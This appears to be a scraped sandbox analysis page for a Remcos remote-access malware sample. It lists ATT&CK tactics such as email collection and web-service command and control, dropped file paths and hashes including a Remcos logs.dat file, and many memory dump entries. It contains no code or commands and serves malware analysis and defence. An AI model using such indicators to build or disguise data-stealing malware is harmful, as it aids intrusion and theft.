Lateral Movement

Collection

Email Collection

T1114

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

logs.dat

Path C:\ProgramData\remcos\logs.dat
Size 140B
SHA256 87d5bb54bbf5d1d069d17fed1e19057149f0513a41f58b2da3d2da7cdabc65c9
MD5 afbc7f5b1c1ab822a5d38c81068e7375
SHA1 745f3d14a7ace725a35d5a6fba6fa40b2f3c7036
SHA512 7d120ccbf69d6e3dd5a6954963dcf4bb8fe41ae831e75a020b6049a7afb2e27c0cc5b5da13930decb0d72e7623760e8318c8e34fd68ef24867aaedb8b233d68f
MD5 SHA1 SHA512

Submit Download

__PSScriptPolicyTest_wcl4kl1b.cp4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wcl4kl1b.cp4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

sdtbbym

Path C:\Users\Admin\AppData\Local\Temp\sdtbbym
Size 4KB
SHA256 e961f466a0638bc99182d0056245e2d8bf1ccc13a189b802aada981f379e2384
MD5 c0ab2847671ed5375328c5127a02cc72
SHA1 dc2bcb51562fb17e5c8787833bc0181d88a5b75e
SHA512 0b8b634d21ac71e02cef86687bf84b6fcecfd24dafab8130f42ce8b4b3f308a2e1b1fa7bf8d37f2eda76efae2b30b8d39f41d808d771562d8545ed144241924f
SSDEEP 48:wvvv0YvxfvvcYvxfdvv0YvxBvv0Yvxakvv0Yv7:mvTvxvbvp1vTvPvTvbvTv7
MD5 SHA1 SHA512 SSDEEP

Submit Download

Indagate83.Afl

Path C:\Users\Admin\AppData\Roaming\Indagate83.Afl
Size 485KB
SHA256 4ec94c23238d899aa962624069f7f85d5123a48d783aba5bf168d9f328a1065e
MD5 09d0d63a0e0e9c8c0b94c3935a3b4569
SHA1 7404d106360c53aa557d6e6cba1762452d858582
SHA512 4564fe1efd4899c2842faafd2ebd882ca3d7167a6f52d6c47c2671f42173d2e1ced2b047ffb59f92fc6ed99ac6e8d64d98e8c358780b38764af431fffc60a1d4
SSDEEP 12288:7lCgZm+GdyZJ1YfGtAjDpCML/HiwemuwCb5y:ZCCJED1L/z5
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/388-120-0x00000000010D0000-0x0000000001153000-memory.dmp

Download

memory/388-121-0x00000000010D0000-0x0000000001153000-memory.dmp

Download

memory/388-119-0x00000000010D0000-0x0000000001153000-memory.dmp

Download

memory/1840-64-0x00000000010A0000-0x0000000001123000-memory.dmp

Download

memory/1840-63-0x00000000010A0000-0x0000000001123000-memory.dmp

Download

memory/1840-66-0x00000000010A0000-0x0000000001123000-memory.dmp

Download

memory/2880-97-0x0000000000160000-0x00000000001E3000-memory.dmp

Download

memory/2880-99-0x0000000000160000-0x00000000001E3000-memory.dmp

Download

memory/2880-98-0x0000000000160000-0x00000000001E3000-memory.dmp

Download

memory/2888-74-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2888-71-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2888-72-0x0000000000400000-0x0000000000424000-memory.dmp

Download

memory/2900-117-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/2900-116-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/2916-34-0x00007FF886610000-0x00007FF8870D1000-memory.dmp

Download

memory/2916-61-0x00007FF886610000-0x00007FF8870D1000-memory.dmp

Download

memory/2916-0-0x00007FF886613000-0x00007FF886615000-memory.dmp

Download

memory/2916-15-0x00007FF886610000-0x00007FF8870D1000-memory.dmp

Download

memory/2916-14-0x00007FF886613000-0x00007FF886615000-memory.dmp

Download

memory/2916-12-0x00007FF886610000-0x00007FF8870D1000-memory.dmp

Download

memory/2916-11-0x00007FF886610000-0x00007FF8870D1000-memory.dmp

Download

memory/2916-1-0x0000021FBC7A0000-0x0000021FBC7C2000-memory.dmp

Download

memory/2920-134-0x0000000000870000-0x00000000008F3000-memory.dmp

Download

memory/2920-135-0x0000000000870000-0x00000000008F3000-memory.dmp

Download

memory/2920-133-0x0000000000870000-0x00000000008F3000-memory.dmp

Download

memory/3112-70-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/3112-68-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/3112-73-0x0000000000400000-0x0000000000462000-memory.dmp

Download

memory/3168-105-0x0000000000A00000-0x0000000000A83000-memory.dmp

Download

memory/3168-104-0x0000000000A00000-0x0000000000A83000-memory.dmp

Download

memory/3168-106-0x0000000000A00000-0x0000000000A83000-memory.dmp

Download

memory/3304-91-0x0000000000890000-0x0000000000913000-memory.dmp

Download

memory/3304-90-0x0000000000890000-0x0000000000913000-memory.dmp

Download

memory/3304-92-0x0000000000890000-0x0000000000913000-memory.dmp

Download

memory/3364-69-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/3364-75-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/3364-67-0x0000000000400000-0x0000000000478000-memory.dmp

Download

memory/3564-128-0x0000000000530000-0x00000000005B3000-memory.dmp

Download

memory/3564-127-0x0000000000530000-0x00000000005B3000-memory.dmp

Download

memory/3564-126-0x0000000000530000-0x00000000005B3000-memory.dmp

Download

memory/3724-58-0x00000000010E0000-0x0000000001163000-memory.dmp

Download

memory/3724-56-0x00000000010E0000-0x0000000001163000-memory.dmp

Download

memory/3724-57-0x00000000010E0000-0x0000000001163000-memory.dmp

Download

memory/3744-38-0x0000000006E00000-0x0000000006E22000-memory.dmp

Download

memory/3744-29-0x0000000005790000-0x0000000005AE4000-memory.dmp

Download

memory/3744-39-0x0000000007DE0000-0x0000000008384000-memory.dmp

Download

memory/3744-41-0x0000000008390000-0x000000000A4F7000-memory.dmp

Download

memory/3744-37-0x00000000070E0000-0x0000000007176000-memory.dmp

Download

memory/3744-36-0x0000000006330000-0x000000000634A000-memory.dmp

Download

memory/3744-35-0x0000000007760000-0x0000000007DDA000-memory.dmp

Download

memory/3744-33-0x0000000005E60000-0x0000000005EAC000-memory.dmp

Download

memory/3744-32-0x0000000005DE0000-0x0000000005DFE000-memory.dmp

Download

memory/3744-17-0x00000000024A0000-0x00000000024D6000-memory.dmp

Download

memory/3744-20-0x0000000004FB0000-0x0000000005016000-memory.dmp

Download

memory/3744-18-0x0000000005070000-0x0000000005698000-memory.dmp

Download

memory/3744-21-0x00000000056A0000-0x0000000005706000-memory.dmp

Download

memory/3744-19-0x0000000004F10000-0x0000000004F32000-memory.dmp

Download

memory/3864-113-0x0000000001280000-0x0000000001303000-memory.dmp

Download

memory/3864-112-0x0000000001280000-0x0000000001303000-memory.dmp

Download

memory/3864-111-0x0000000001280000-0x0000000001303000-memory.dmp

Download

memory/4264-109-0x0000000000CB0000-0x0000000000D33000-memory.dmp

Download

memory/4264-108-0x0000000000CB0000-0x0000000000D33000-memory.dmp

Download

memory/4264-110-0x0000000000CB0000-0x0000000000D33000-memory.dmp

Download

memory/4388-103-0x0000000001260000-0x00000000012E3000-memory.dmp

Download

memory/4388-102-0x0000000001260000-0x00000000012E3000-memory.dmp

Download

memory/4388-101-0x0000000001260000-0x00000000012E3000-memory.dmp

Download

memory/4584-95-0x0000000000410000-0x0000000000493000-memory.dmp

Download

memory/4584-94-0x0000000000410000-0x0000000000493000-memory.dmp

Download

memory/4584-93-0x0000000000410000-0x0000000000493000-memory.dmp

Download

memory/4772-87-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/4772-86-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/4772-88-0x0000000000400000-0x0000000000483000-memory.dmp

Download

memory/4884-124-0x0000000000C00000-0x0000000000C83000-memory.dmp

Download

memory/4884-123-0x0000000000C00000-0x0000000000C83000-memory.dmp

Download

memory/4884-122-0x0000000000C00000-0x0000000000C83000-memory.dmp

Download

memory/4976-130-0x0000000000A00000-0x0000000000A83000-memory.dmp

Download

memory/4976-131-0x0000000000A00000-0x0000000000A83000-memory.dmp

Download

memory/5100-84-0x0000000020CB0000-0x0000000020CC9000-memory.dmp

Download

memory/5100-85-0x0000000020CB0000-0x0000000020CC9000-memory.dmp

Download

memory/5100-81-0x0000000020CB0000-0x0000000020CC9000-memory.dmp

Download

memory/5100-55-0x0000000002000000-0x0000000004167000-memory.dmp

Download